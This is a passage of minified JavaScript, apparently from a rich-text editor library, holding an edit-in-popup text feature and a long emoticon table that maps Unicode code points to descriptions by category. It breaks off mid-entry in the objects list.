e,t=n.popups.get("text.edit");e="INPUT"===n.el.tagName?n.$el.attr("placeholder"):n.$el.text(),t.find("input").val(e).trigger("change"),n.popups.setContainer("text.edit",n.$sc),n.popups.show("text.edit",n.$el.offset().left+n.$el.outerWidth()/2,n.$el.offset().top+n.$el.outerHeight(),n.$el.outerHeight())}()},10)})}return{_init:function a(){n.opts.editInPopup&&(!function t(){var e={edit:'<div id="fr-text-edit-'.concat(n.id,'" class="fr-layer fr-text-edit-layer"><div class="fr-input-line"><input type="text" placeholder="').concat(n.language.translate("Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="updateText" tabIndex="2">').concat(n.language.translate("Update"),"</button></div></div>")};n.popups.create("text.edit",e)}(),e())},update:function t(){var e=n.popups.get("text.edit").find("input").val();0===e.length&&(e=n.opts.placeholderText),"INPUT"===n.el.tagName?n.$el.attr("placeholder",e):n.$el.text(e),n.events.trigger("contentChanged"),n.popups.hide("text.edit")}}},St.RegisterCommand("updateText",{focus:!1,undo:!1,callback:function(){this.editInPopup.update()}}),Object.assign(St.POPUP_TEMPLATES,{emoticons:"[_BUTTONS_][_CUSTOM_LAYER_]"}),Object.assign(St.DEFAULTS,{emoticonsSet:[{id:"people",name:"Smileys & People",code:"1f600",emoticons:[{code:"1f600",desc:"Grinning face"},{code:"1f601",desc:"Grinning Face with Smiling Eyes"},{code:"1f602",desc:"Face with Tears of Joy"},{code:"1f603",desc:"Smiling Face with Open Mouth"},{code:"1f604",desc:"Smiling Face with Open Mouth and Smiling Eyes"},{code:"1f605",desc:"Smiling Face with Open Mouth and Cold Sweat"},{code:"1f606",desc:"Smiling Face with Open Mouth and Tightly-Closed Eyes"},{code:"1f609",desc:"Winking Face"},{code:"1f60a",desc:"Smiling Face with Smiling Eyes"},{code:"1f608",desc:"Face Savouring Delicious Food"},{code:"1f60e",desc:"Smiling Face with Sunglasses"},{code:"1f60d",desc:"Smiling Face with Heart-Shaped Eyes"},{code:"1f618",desc:"Face Throwing a Kiss"},{code:"1f617",desc:"Kissing Face"},{code:"1f619",desc:"Kissing Face with Smiling Eyes"},{code:"1f61a",desc:"Kissing Face with Closed Eyes"},{code:"263a",desc:"White Smiling Face"},{code:"1f642",desc:"Slightly Smiling Face"},{code:"1f610",desc:"Neutral Face"},{code:"1f611",desc:"Expressionless Face"},{code:"1f636",desc:"Face Without Mouth"},{code:"1f60f",desc:"Smirking Face"},{code:"1f623",desc:"Persevering Face"},{code:"1f625",desc:"Disappointed but Relieved Face"},{code:"1f62e",desc:"Face with Open Mouth"},{code:"1f62f",desc:"Hushed Face"},{code:"1f62a",desc:"Sleepy Face"},{code:"1f62b",desc:"Tired Face"},{code:"1f634",desc:"Sleeping Face"},{code:"1f60c",desc:"Relieved Face"},{code:"1f61b",desc:"Face with Stuck-out Tongue"},{code:"1f61c",desc:"Face with Stuck-out Tongue and Winking Eye"},{code:"1f61d",desc:"Face with Stuck-out Tongue and Tightly-Closed Eyes"},{code:"1f612",desc:"Unamused Face"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f614",desc:"Pensive Face"},{code:"1f615",desc:"Confused Face"},{code:"1f632",desc:"Astonished Face"},{code:"1f616",desc:"Confounded Face"},{code:"1f61e",desc:"Disappointed Face"},{code:"1f61f",desc:"Worried Face"},{code:"1f624",desc:"Face with Look of Triumph"},{code:"1f622",desc:"Crying Face"},{code:"1f62d",desc:"Loudly Crying Face"},{code:"1f626",desc:"Frowning Face with Open Mouth"},{code:"1f627",desc:"Anguished Face"},{code:"1f628",desc:"Fearful Face"},{code:"1f629",desc:"Weary Face"},{code:"1f62c",desc:"Grimacing Face"},{code:"1f630",desc:"Face with Open Mouth and Cold Sweat"},{code:"1f631",desc:"Face Screaming in Fear"},{code:"1f633",desc:"Flushed Face"},{code:"1f635",desc:"Dizzy Face"},{code:"1f621",desc:"Pouting Face"},{code:"1f620",desc:"Angry Face"},{code:"1f637",desc:"Face with Medical Mask"},{code:"1f607",desc:"Smiling Face with Halo"},{code:"1f608",desc:"Smiling Face with Horns"},{code:"1f47f",desc:"Imp"},{code:"1f479",desc:"Japanese Ogre"},{code:"1f47a",desc:"Japanese Goblin"},{code:"1f480",desc:"Skull"},{code:"1f47b",desc:"Ghost"},{code:"1f47d",desc:"Extraterrestrial Alien"},{code:"1f47e",desc:"Alien Monster"},{code:"1f4a9",desc:"Pile of Poo"},{code:"1f63a",desc:"Smiling Cat Face with Open Mouth"},{code:"1f638",desc:"Grinning Cat Face with Smiling Eyes"},{code:"1f639",desc:"Cat Face with Tears of Joy"},{code:"1f63b",desc:"Smiling Cat Face with Heart-Shaped Eyes"},{code:"1f63c",desc:"Cat Face with Wry Smile"},{code:"1f63d",desc:"Kissing Cat Face with Closed Eyes"},{code:"1f640",desc:"Weary Cat Face"},{code:"1f63f",desc:"Crying Cat Face"},{code:"1f63e",desc:"Pouting Cat Face"},{code:"1f648",desc:"See-No-Evil Monkey"},{code:"1f649",desc:"Hear-No-Evil Monkey"},{code:"1f64a",desc:"Speak-No-Evil Monkey"},{code:"1f476",desc:"Baby"},{code:"1f466",desc:"Boy"},{code:"1f467",desc:"Girl"},{code:"1f468",desc:"Man"},{code:"1f469",desc:"Woman"},{code:"1f474",desc:"Older Man"},{code:"1f475",desc:"Older Woman"},{code:"1f46e",desc:"Police Officer"},{code:"1f482",desc:" Guardsman"},{code:"1f477",desc:" Construction Worker"},{code:"1f478",desc:"Princess"},{code:"1f473",desc:"Man with Turban"},{code:"1f472",desc:"Man with Gua Pi Mao"},{code:"1f471",desc:"Person with Blond Hair"},{code:"1f470",desc:"Bride with Veil"},{code:"1f47c",desc:"Baby Angel"},{code:"1f385",desc:"Father Christmas"},{code:"1f64e",desc:"Person with Pouting Face"},{code:"1f645",desc:"Face with No Good Gesture"},{code:"1f646",desc:"Face with Ok Gesture"},{code:"1f481",desc:"Information Desk Person"},{code:"1f64b",desc:"Happy Person Raising One Hand"},{code:"1f647",desc:"Person Bowing Deeply"},{code:"1f486",desc:"Face Massage"},{code:"1f487",desc:"Haircut"},{code:"1f6b6",desc:"Pedestrian"},{code:"1f3c3",desc:"Runner"},{code:"1f483",desc:"Dancer"},{code:"1f46f",desc:"Woman with Bunny Ears"},{code:"1f6c0",desc:"Bath"},{code:"1f464",desc:"Bust in Silhouette"},{code:"1f465",desc:"Busts in Silhouette"},{code:"1f3c7",desc:"Horse Racing"},{code:"1f3c2",desc:" Snowboarder"},{code:"1f3c4",desc:" Surfer"},{code:"1f6a3",desc:" Rowboat"},{code:"1f3ca",desc:" Swimmer"},{code:"1f6b4",desc:" Bicyclist"},{code:"1f6b5",desc:"Mountain Bicyclist"},{code:"1f46b",desc:" Man and Woman Holding Hands"},{code:"1f46c",desc:"Two Men Holding Hands"},{code:"1f46d",desc:"Two Women Holding Hands"},{code:"1f48f",desc:"Kiss"},{code:"1f468-2764-1f48b-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68",desc:"Man Kiss Man"},{code:"1f469-2764-1f48b-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Kiss Woman"},{code:"1f491",desc:"Couple with Heart"},{code:"1f468-2764-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68",desc:"Man Heart Man"},{code:"1f469-2764-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Heart Woman"},{code:"1f46a",desc:"Family"},{code:"1f468",desc:"Man Woman Boy"},{code:"1f468-1f469-1f467",desc:"Man Woman Girl"},{code:"1f468-1f469-1f467-1f466",desc:"Man Woman Girl Boy"},{code:"1f468-1f469-1f466-1f466",desc:"Man Woman Boy Boy"},{code:"1f468-1f469-1f467-1f467",desc:"Man Woman Girl Girl"},{code:"1f468-1f468-1f466",desc:"Man Man Boy"},{code:"1f468-1f468-1f467",desc:"Man Man Girl"},{code:"1f468-1f468-1f467-1f466",desc:"Man Man Girl Boy"},{code:"1f468-1f468-1f466-1f466",desc:"Man Man Boy Boy"},{code:"1f469-1f469-1f466",desc:"Woman Woman Boy"},{code:"1f469-1f469-1f467",desc:"Woman Woman Girl"},{code:"1f469-1f469-1f467-1f466",desc:"Woman Woman Girl Boy"},{code:"1f469-1f469-1f467-1f467",desc:"Woman Woman Girl Girl"},{code:"1f4aa",desc:"Flexed Biceps"},{code:"1f448",desc:"White Left Pointing Backhand Index"},{code:"1f449",desc:"White Right Pointing Backhand Index"},{code:"1f446",desc:"White Up Pointing Backhand Index"},{code:"1f447",desc:"White Down Pointing Backhand Index"},{code:"270c",desc:"Victory Hand"},{code:"270b",desc:"Raised Hand"},{code:"1f44c",desc:"Ok Hand Sign"},{code:"1f44d",desc:"Thumbs Up Sign"},{code:"1f44e",desc:"Thumbs Down Sign"},{code:"270a",desc:"Raised Fist"},{code:"1f44a",desc:"Fisted Hand Sign"},{code:"1f44b",desc:"Waving Hand Sign"},{code:"1f44f",desc:"Clapping Hands Sign"},{code:"1f450",desc:"Open Hands Sign"},{code:"1f64c",desc:"Person Raising Both Hands in Celebration"},{code:"1f64f",desc:"Person with Folded Hands"},{code:"1f485",desc:"Nail Polish"},{code:"1f442",desc:"Ear"},{code:"1f443",desc:"Nose"},{code:"1f463",desc:"Footprints"},{code:"1f440",desc:"Eyes"},{code:"1f445",desc:"Tongue"},{code:"1f444",desc:"Mouth"},{code:"1f48b",desc:"Kiss Mark"},{code:"1f498",desc:"Heart with Arrow"},{code:"2764",desc:"Heavy Black Heart"},{code:"1f493",desc:"Heavy Black Heart"},{code:"1f494",desc:"Broken Heart"},{code:"1f495",desc:"Two Hearts"},{code:"1f496",desc:"Sparkling Hearts"},{code:"1f497",desc:"Growing Hearts"},{code:"1f499",desc:"Blue Heart"},{code:"1f49a",desc:"Green Heart"},{code:"1f49b",desc:"Yellow Heart"},{code:"1f49c",desc:"Purple Heart"},{code:"1f49d",desc:"Heart with Ribbon"},{code:"1f49e",desc:"Revolving Hearts"},{code:"1f49f",desc:"Heart Decoration"},{code:"1f48c",desc:"Love Letter"},{code:"1f4a4",desc:"Sleeping Symbol"},{code:"1f4a2",desc:"Anger Symbol"},{code:"1f4a3",desc:"Bomb"},{code:"1f4a5",desc:"Collision Symbol"},{code:"1f4a6",desc:"Splashing Sweat Symbol"},{code:"1f4a8",desc:"Dash Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ac",desc:"Speech Balloon"},{code:"1f4ad",desc:"Thought Balloon"},{code:"1f453",desc:"Eyeglasses"},{code:"1f454",desc:"Necktie"},{code:"1f455",desc:"T-Shirt"},{code:"1f456",desc:"Jeans"},{code:"1f457",desc:"Dress"},{code:"1f458",desc:"Kimono"},{code:"1f459",desc:"Bikini"},{code:"1f45a",desc:"Womans Clothes"},{code:"1f45b",desc:"Purse"},{code:"1f45c",desc:"Handbag"},{code:"1f45d",desc:"Pouch"},{code:"1f392",desc:"School Satchel"},{code:"1f45e",desc:"Mans Shoe"},{code:"1f45f",desc:"Athletic Shoe"},{code:"1f460",desc:"High-Heeled Shoe"},{code:"1f461",desc:"Womans Sandal"},{code:"1f462",desc:"Womans Boots"},{code:"1f451",desc:"Crown"},{code:"1f452",desc:"Womans Hat"},{code:"1f462",desc:"Top Hat"},{code:"1f393",desc:"Graduation Cap"},{code:"1f484",desc:"Lipstick"},{code:"1f48d",desc:"Ring"},{code:"1f48e",desc:"Gem Stone"}]},{id:"nature",name:"Animals & Nature",code:"1F435",emoticons:[{code:"1F435",desc:"Monkey Face"},{code:"1F412",desc:"Monkey"},{code:"1F436",desc:"Dog Face"},{code:"1F415",desc:"Dog"},{code:"1F429",desc:"Poodle"},{code:"1F43A",desc:"Wolf Face"},{code:"1F431",desc:"Cat Face"},{code:"1F408",desc:"Cat"},{code:"1F42F",desc:"Tiger Face"},{code:"1F405",desc:"Tiger"},{code:"1F406",desc:"Leopard"},{code:"1F434",desc:"Horse Face"},{code:"1F40E",desc:"Horse"},{code:"1F42E",desc:"Cow Face"},{code:"1F402",desc:"Ox"},{code:"1F403",desc:"Water Buffalo"},{code:"1F404",desc:"Cow"},{code:"1F437",desc:"Pig Face"},{code:"1F416",desc:"Pig"},{code:"1F417",desc:"Boar"},{code:"1F43D",desc:"Pig Nose"},{code:"1F40F",desc:"Ram"},{code:"1F411",desc:"Sheep"},{code:"1F410",desc:"Goat"},{code:"1F42A",desc:"Dromedary Camel"},{code:"1F42B",desc:"Bactrian Camel"},{code:"1F418",desc:"Elephant"},{code:"1F42D",desc:"Mouse Face"},{code:"1F401",desc:"Mouse"},{code:"1F400",desc:"Rat"},{code:"1F439",desc:"Hamster Face"},{code:"1F430",desc:"Rabbit Face"},{code:"1F407",desc:"Rabbit"},{code:"1F43B",desc:"Bear Face"},{code:"1F428",desc:"Koala"},{code:"1F43C",desc:"Panda Face"},{code:"1F43E",desc:"Paw Prints"},{code:"1F414",desc:"Chicken"},{code:"1F413",desc:"Rooster"},{code:"1F423",desc:"Hatching Chick"},{code:"1F424",desc:"Baby Chick"},{code:"1F425",desc:"Front-Facing Baby Chick"},{code:"1F426",desc:"Bird"},{code:"1F427",desc:"Penguin"},{code:"1F438",desc:"Frog Face"},{code:"1F40A",desc:"Crocodile"},{code:"1F422",desc:"Turtle"},{code:"1F40D",desc:"Snake"},{code:"1F432",desc:"Dragon Face"},{code:"1F409",desc:"Dragon"},{code:"1F433",desc:"Spouting Whale"},{code:"1F40B",desc:"Whale"},{code:"1F42C",desc:"Dolphin"},{code:"1F41F",desc:"Fish"},{code:"1F420",desc:"Tropical Fish"},{code:"1F421",desc:"Blowfish"},{code:"1F419",desc:"Octopus"},{code:"1F41A",desc:"Spiral Shell"},{code:"1F40C",desc:"Snail"},{code:"1F41B",desc:"Bug"},{code:"1F41C",desc:"Ant"},{code:"1F41D",desc:"Honeybee"},{code:"1F41E",desc:"Lady Beetle"},{code:"1F490",desc:"Bouquet"},{code:"1F338",desc:"Cherry Blossom"},{code:"1F4AE",desc:"White Flower"},{code:"1F339",desc:"Rose"},{code:"1F33A",desc:"Hibiscus"},{code:"1F33B",desc:"Sunflower"},{code:"1F33C",desc:"Blossom"},{code:"1F337",desc:"Tulip"},{code:"1F331",desc:"Seedling"},{code:"1F332",desc:"Evergreen Tree"},{code:"1F333",desc:"Deciduous Tree"},{code:"1F334",desc:"Palm Tree"},{code:"1F335",desc:"Cactus"},{code:"1F33E",desc:"Ear of Rice"},{code:"1F33F",desc:"Herb"},{code:"2618",desc:"Four Leaf Clover"},{code:"1F341",desc:"Maple Leaf"},{code:"1F342",desc:"Fallen Leaf"},{code:"1F343",desc:"Leaf Fluttering in Wind"}]},{id:"foods",name:"Food & Drink",code:"1F347",emoticons:[{code:"1F347",desc:"Grapes"},{code:"1F348",desc:"Melon"},{code:"1F349",desc:"Watermelon"},{code:"1F34A",desc:"Tangerine"},{code:"1F34B",desc:"Lemon"},{code:"1F34C",desc:"Banana"},{code:"1F34D",desc:"Pineapple"},{code:"1F34E",desc:"Red Apple"},{code:"1F34F",desc:"Green Apple"},{code:"1F350",desc:"Pear"},{code:"1F351",desc:"Peach"},{code:"1F352",desc:"Cherries"},{code:"1F353",desc:"Strawberry"},{code:"1F345",desc:"Tomato"},{code:"1F346",desc:"Aubergine"},{code:"1F33D",desc:"Ear of Maize"},{code:"1F344",desc:"Mushroom"},{code:"1F330",desc:"Chestnut"},{code:"1F35E",desc:"Bread"},{code:"1F356",desc:"Meat on Bone"},{code:"1F357",desc:"Poultry Leg"},{code:"1F354",desc:"Hamburger"},{code:"1F35F",desc:"French Fries"},{code:"1F355",desc:"Slice of Pizza"},{code:"1F373",desc:"Cooking"},{code:"1F372",desc:"Pot of Food"},{code:"1F371",desc:"Bento Box"},{code:"1F358",desc:"Rice Cracker"},{code:"1F359",desc:"Rice Ball"},{code:"1F35A",desc:"Cooked Rice"},{code:"1F35B",desc:"Curry and Rice"},{code:"1F35C",desc:"Steaming Bowl"},{code:"1F35D",desc:"Spaghetti"},{code:"1F360",desc:"Roasted Sweet Potato"},{code:"1F362",desc:"Oden"},{code:"1F363",desc:"Sushi"},{code:"1F364",desc:"Fried Shrimp"},{code:"1F365",desc:"Fish Cake with Swirl Design"},{code:"1F361",desc:"Dango"},{code:"1F366",desc:"Soft Ice Cream"},{code:"1F367",desc:"Shaved Ice"},{code:"1F368",desc:"Ice Cream"},{code:"1F369",desc:"Doughnut"},{code:"1F36A",desc:"Cookie"},{code:"1F382",desc:"Birthday Cake"},{code:"1F370",desc:"Shortcake"},{code:"1F36B",desc:"Chocolate Bar"},{code:"1F36C",desc:"Candy"},{code:"1F36D",desc:"Lollipop"},{code:"1F36E",desc:"Custard"},{code:"1F36F",desc:"Honey Pot"},{code:"1F37C",desc:"Baby Bottle"},{code:"2615",desc:"Hot Beverage"},{code:"1F375",desc:"Teacup Without Handle"},{code:"1F376",desc:"Sake Bottle and Cup"},{code:"1F377",desc:"Wine Glass"},{code:"1F378",desc:"Cocktail Glass"},{code:"1F379",desc:"Tropical Drink"},{code:"1F37A",desc:"Beer Mug"},{code:"1F37B",desc:"Clinking Beer Mugs"},{code:"1F374",desc:"Fork and Knife"},{code:"1F52A",desc:"Hocho"}]},{id:"activity",name:"Activities",code:"1f383",emoticons:[{code:"1f383",desc:" Jack-O-Lantern"},{code:"1f384",desc:"Christmas Tree"},{code:"1f386",desc:" Fireworks"},{code:"1f387",desc:"Firework Sparkler"},{code:"2728",desc:" Sparkles"},{code:"1f388",desc:"Balloon"},{code:"1f389",desc:"Party Popper"},{code:"1f38a",desc:"Confetti Ball"},{code:"1f38b",desc:"Tanabata Tree"},{code:"1f38d",desc:"Pine Decoration"},{code:"1f38e",desc:"Japanese Dolls"},{code:"1f38f",desc:"Carp Streamer"},{code:"1f390",desc:"Wind Chime"},{code:"1f391",desc:"Moon Viewing Ceremony"},{code:"1f380",desc:"Ribbon"},{code:"1f381",desc:"Wrapped Present"},{code:"1f3ab",desc:"Ticket"},{code:"1f3c6",desc:"Trophy"},{code:"1f388",desc:"Balloon"},{code:"26bd",desc:"Soccer Ball"},{code:"26be",desc:"Baseball"},{code:"1f3c0",desc:"Basketball and Hoop"},{code:"1f3c8",desc:"American Football"},{code:"1f3c9",desc:"Rugby Football"},{code:"1f3be",desc:"Tennis Racquet and Ball"},{code:"1f3b1",desc:"Billiards"},{code:"1f3b3",desc:"Bowling"},{code:"1f3af",desc:"Direct Hit"},{code:"26f3",desc:"Flag in Hole"},{code:"1f3a3",desc:"Fishing Pole and Fish"},{code:"1f3bd",desc:"Running Shirt with Sash"},{code:"1f3bf",desc:"Ski and Ski Boot"},{code:"1f3ae",desc:"Video Game"},{code:"1f3b2",desc:"Game Die"},{code:"2660",desc:"Black Spade Suit"},{code:"2665",desc:"Black Heart SuiT"},{code:"2666",desc:"Black Diamond Suit"},{code:"2663",desc:"Black Club Suit"},{code:"1f0cf",desc:"Playing Card Black Joker"},{code:"1f004",desc:"Mahjong Tile Red Dragon"},{code:"1f3b4",desc:"Flower Playing Cards"}]},{id:"places",name:"Travel & Places",code:"1f30d",emoticons:[{code:"1f30d",desc:"Earth Globe Europe-Africa"},{code:"1f30e",desc:"Earth Globe Americas"},{code:"1f30f",desc:"Earth Globe Asia-Australia"},{code:"1f310",desc:"Globe with Meridians"},{code:"1f5fe",desc:"Silhouette of Japan"},{code:"1f30b",desc:"Volcano"},{code:"1f5fb",desc:"Mount Fuji"},{code:"1f3e0",desc:"House Building"},{code:"1f3e1",desc:"House with Garden"},{code:"1f3e2",desc:"Office Building"},{code:"1f3e3",desc:"Japanese Post Office"},{code:"1f3e4",desc:"European Post Office"},{code:"1f3e5",desc:"Hospital"},{code:"1f3e6",desc:"Bank"},{code:"1f3e8",desc:"Hotel"},{code:"1f3e9",desc:"Love Hotel"},{code:"1f3ea",desc:"Convenience Store"},{code:"1f3eb",desc:"School"},{code:"1f3ec",desc:"Department Store"},{code:"1f3ed",desc:"Factory"},{code:"1f3ef",desc:"Japanese Castle"},{code:"1f3f0",desc:"European Castle"},{code:"1f492",desc:"Wedding"},{code:"1f5fc",desc:"Tokyo Tower"},{code:"1f5fd",desc:"Statue of Liberty"},{code:"26ea",desc:"Church"},{code:"26f2",desc:"Fountain"},{code:"26fa",desc:"Tent"},{code:"1f301",desc:"Foggy"},{code:"1f303",desc:"Night with Stars"},{code:"1f304",desc:"Sunrise over Mountains"},{code:"1f305",desc:"Sunrise"},{code:"1f306",desc:"Cityscape at Dusk"},{code:"1f307",desc:"Sunset over Buildings"},{code:"1f309",desc:"Bridge at Night"},{code:"2668",desc:"Hot Springs"},{code:"1f30c",desc:"Milky Way"},{code:"1f3a0",desc:"Carousel Horse"},{code:"1f3a1",desc:"Ferris Wheel"},{code:"1f3a2",desc:"Roller Coaster"},{code:"1f488",desc:"Barber Pole"},{code:"1f3aa",desc:"Circus Tent"},{code:"1f3ad",desc:"Performing Arts"},{code:"1f3a8",desc:"Artist Palette"},{code:"1f3b0",desc:"Slot Machine"},{code:"1f682",desc:"Steam Locomotive"},{code:"1f683",desc:"Railway Car"},{code:"1f684",desc:"High-Speed Train"},{code:"1f685",desc:"High-Speed Train with Bullet Nose"},{code:"1f686",desc:"Train"},{code:"1f687",desc:"Metro"},{code:"1f688",desc:"Light Rail"},{code:"1f689",desc:"Station"},{code:"1f68a",desc:"Tram"},{code:"1f69d",desc:"Monorail"},{code:"1f69e",desc:"Mountain Railway"},{code:"1f68b",desc:"Tram Car"},{code:"1f68c",desc:"Bus"},{code:"1f68d",desc:"Oncoming Bus"},{code:"1f68e",desc:"Trolleybus"},{code:"1f690",desc:"Minibus"},{code:"1f691",desc:"Ambulance"},{code:"1f692",desc:"Fire Engine"},{code:"1f693",desc:"Police Car"},{code:"1f694",desc:"Oncoming Police Car"},{code:"1f695",desc:"Taxi"},{code:"1f695",desc:"Oncoming Taxi"},{code:"1f697",desc:"Automobile"},{code:"1f698",desc:"Oncoming Automobile"},{code:"1f699",desc:"Recreational Vehicle"},{code:"1f69a",desc:"Delivery Truck"},{code:"1f69b",desc:"Articulated Lorry"},{code:"1f69c",desc:"Tractor"},{code:"1f6b2",desc:"Bicycle"},{code:"1f68f",desc:"Bus Stop"},{code:"26fd",desc:"Fuel Pump"},{code:"1f6a8",desc:"Police Cars Revolving Light"},{code:"1f6a5",desc:"Horizontal Traffic Light"},{code:"1f6a6",desc:"Vertical Traffic Light"},{code:"1f6a7",desc:"Construction Sign"},{code:"2693",desc:"Anchor"},{code:"26f5",desc:"Sailboat"},{code:"1f6a4",desc:"Speedboat"},{code:"1f6a2",desc:"Ship"},{code:"2708",desc:"Airplane"},{code:"1f4ba",desc:"Seat"},{code:"1f681",desc:"Helicopter"},{code:"1f69f",desc:"Suspension Railway"},{code:"1f6a0",desc:"Mountain Cableway"},{code:"1f6a1",desc:"Aerial Tramway"},{code:"1f680",desc:"Rocket"},{code:"1f6aa",desc:"Door"},{code:"1f6bd",desc:"Toilet"},{code:"1f6bf",desc:"Shower"},{code:"1f6c1",desc:"Bathtub"},{code:"231b",desc:"Hourglass"},{code:"23f3",desc:"Hourglass with Flowing Sand"},{code:"231a",desc:"Watch"},{code:"23f0",desc:"Alarm Clock"},{code:"1f55b",desc:"Clock Face Twelve Oclock"},{code:"1f567",desc:"Clock Face Twelve-Thirty"},{code:"1f550",desc:"Clock Face One Oclock"},{code:"1f55c",desc:"Clock Face One-thirty"},{code:"1f551",desc:"Clock Face Two Oclock"},{code:"1f55d",desc:"Clock Face Two-thirty"},{code:"1f552",desc:"Clock Face Three Oclock"},{code:"1f55e",desc:"Clock Face Three-thirty"},{code:"1f553",desc:"Clock Face Four Oclock"},{code:"1f55f",desc:"Clock Face Four-thirty"},{code:"1f554",desc:"Clock Face Five Oclock"},{code:"1f560",desc:"Clock Face Five-thirty"},{code:"1f555",desc:"Clock Face Six Oclock"},{code:"1f561",desc:"Clock Face Six-thirty"},{code:"1f556",desc:"Clock Face Seven Oclock"},{code:"1f562",desc:"Clock Face Seven-thirty"},{code:"1f557",desc:"Clock Face Eight Oclock"},{code:"1f563",desc:"Clock Face Eight-thirty"},{code:"1f558",desc:"Clock Face Nine Oclock"},{code:"1f564",desc:"Clock Face Nine-thirty"},{code:"1f559",desc:"Clock Face Ten Oclock"},{code:"1f565",desc:"Clock Face Ten-thirty"},{code:"1f55a",desc:"Clock Face Eleven Oclock"},{code:"1f566",desc:"Clock Face Eleven-thirty"},{code:"1f311",desc:"New Moon Symbol"},{code:"1f312",desc:"Waxing Crescent Moon Symbol"},{code:"1f313",desc:"First Quarter Moon Symbol"},{code:"1f314",desc:"Waxing Gibbous Moon Symbol"},{code:"1f315",desc:"Full Moon Symbol"},{code:"1f316",desc:"Waning Gibbous Moon Symbol"},{code:"1f317",desc:"Last Quarter Moon Symbol"},{code:"1f318",desc:"Waning Crescent Moon Symbol"},{code:"1f319",desc:"Crescent Moon"},{code:"1f31a",desc:"New Moon with Face"},{code:"1f31b",desc:"First Quarter Moon with Face"},{code:"1f31c",desc:"Last Quarter Moon with Face"},{code:"2600",desc:"Black Sun with Rays"},{code:"1f31d",desc:"Full Moon with Face"},{code:"1f31e",desc:"Sun with Face"},{code:"2b50",desc:"White Medium Star"},{code:"1f31f",desc:"Glowing Star"},{code:"1f320",desc:"Shooting Star"},{code:"2601",desc:"Cloud"},{code:"26c5",desc:"Sun Behind Cloud"},{code:"1f300",desc:"Cyclone"},{code:"1f308",desc:"Rainbow"},{code:"1f302",desc:"Closed Umbrella"},{code:"2614",desc:"Umbrella with Rain Drops"},{code:"26a1",desc:"High Voltage Sign"},{code:"2744",desc:"Snowflake"},{code:"2603",desc:"Snowman Without Snow"},{code:"1f525",desc:"Fire"},{code:"1f4a7",desc:"Droplet"},{code:"1F30A",desc:"Water Wave"}]},{id:"objects",name:"Objects",code:"1F507",emoticons:[{code:"1F507",desc:"Speaker with Cancellation Stroke"},{code:"1F508",desc:"Speaker"},{code:"1F509",desc:"Speaker with One Sound Wave"},{code:"1F50A",desc:"Speaker with Three Sound Wave"},{code:"1F4E2",desc:"Public Address Loudspeaker"},{code:"1F4E3",desc:"Cheering Megaphone"},{code:"1F4EF",desc:"Postal Horn"},{code:"1F514",desc:"Bell"},{code:"1F515",desc:"Bell with Cancellation Stroke"},{code:"1F3BC",desc:"Musical Score"},{code:"1F3B5",desc:"Musical Note"},{code:"1F3B6",desc:"Multiple Musical Notes"},{code:"1F3A4",desc:"Microphone"},{code:"1F3A7",desc:"Headphone"},{code:"1F4FB",desc:"Radio"},{code:"1F3B7",desc:"Saxophone"},{code:"1F3B8",desc:"Guitar"},{code:"1F3B9",desc:"Musical Keyboard"},{code:"1F3BA",desc:"Trumpet"},{code:"1F3BB",desc:"Violin"},{code:"1F4F1",desc:"Mobile Phone"},{code:"1F4F2",desc:"Mobile Phone with Rightwards Arrow at Left"},{code:"260E",desc:"Black Telephone"},{code:"1F4DE",desc:"Telephone Receiver"},{code:"1F4DF",desc:"Pager"},{code:"1F4E0",desc:"Fax Machine"},{code:"1F50B",desc:"Battery"},{code:"1F50C",desc:"Electric Plug"},{code:"1F4BB",desc:"Personal Computer"},{code:"1F4BD",desc:"Minidisc"},{code:"1F4BE",desc:"Floppy Disk"},{code:"1F4BF",desc:"Optical Disk"},{code:"1F4C0",desc:"Dvd"},{code:"1F3A5",desc:"Movie Camera"},{code:"1F3AC",desc:"Clapper Board"},{code:"1F4FA",desc:"Television"},{code:"1F4F7",desc:"Camera"},{code:"1F4F9",desc:"Video Camera"},{code:"1F4FC",desc:"Videocassette"},{code:"1F50D",desc:"Left-Pointing Magnifying Glass"},{code:"1F50E",desc:"Right-Pointing Magnifying Glass"},{code:"1F52C",desc:"Microscope"},{code:"1F52D",desc:"Telelscope"},{code:"1F4E1",desc:"Satellite Antenna"},{code:"1F4A1",desc:"Electric Light Bulb"},{code:"1F526",desc:"Electric Torch"},{code:"1F3EE",desc:"Izakaya Lantern"},{code:"1F4D4",desc:"Notebook with Decorative Cover"},{code:"1F4D5",desc:"Closed Book"},{code:"1F4D6",desc:"Open Book"},{code:"1F4D7",desc:"Green Book"},{code:"1F4D8",desc:"Blue Book"},{code:"1F4D9",desc:"Orange Book"},{code:"1F4DA",desc:"Books"},{code:"1F4D3",desc:"Notebook"},{code:"1F4D2",desc:"Ledger"},{code:"1F4C3",desc:"Curl"},{code:"1F4DC",desc:"Scroll"},{code:"1F4C4",desc:"Page Facing Up"},{code:"1F4F0",desc:"Newspaper"},{code:"1F4D1",desc:"Bookmark Tabs"},{code:"1F516",desc:"Bookmark"},{code:"1F4B0",desc:"Money Bag"},{code:"1F4B4",desc:"Banknote with Yen Sign"},{code:"1F4B5",desc:"Banknote with Dollar Sign"},{code:"1F4B6",desc:"Banknote with Euro Sign"},{code:"1F4B7",desc:"Banknote with Pound Sign"},{code:"1F4B8",desc:"Money with Wings"},{code:"1F4B3",desc:"Credit Card"},{code:"1F4B9",desc:"Chart with Upwards Trend and Yen Sign"},{code:"1F4B1",desc:"Currency Exchange"},{code:"1F4B2",desc:"Heavy Dollar Sign"},{code:"2709",desc:"Envelope"},{code:"1F4E7",desc:"E-Mail Symbol"},{code:"1F4E8",desc:"Incoming Envelope"},{code:"1F4E9",desc:"Envelope with Downwards Arrow Above"},{code:"1F4E4",desc:"Outbox Tray"},{code:"1F4E5",desc:"Inbox Tray"},{code:"1F4E6",desc:"Package"},{code:"1F4BE",desc:"Closed Mailbox with Raised Flag"},{code:"1F4EA",desc:"Closed Mailbox with Lowered 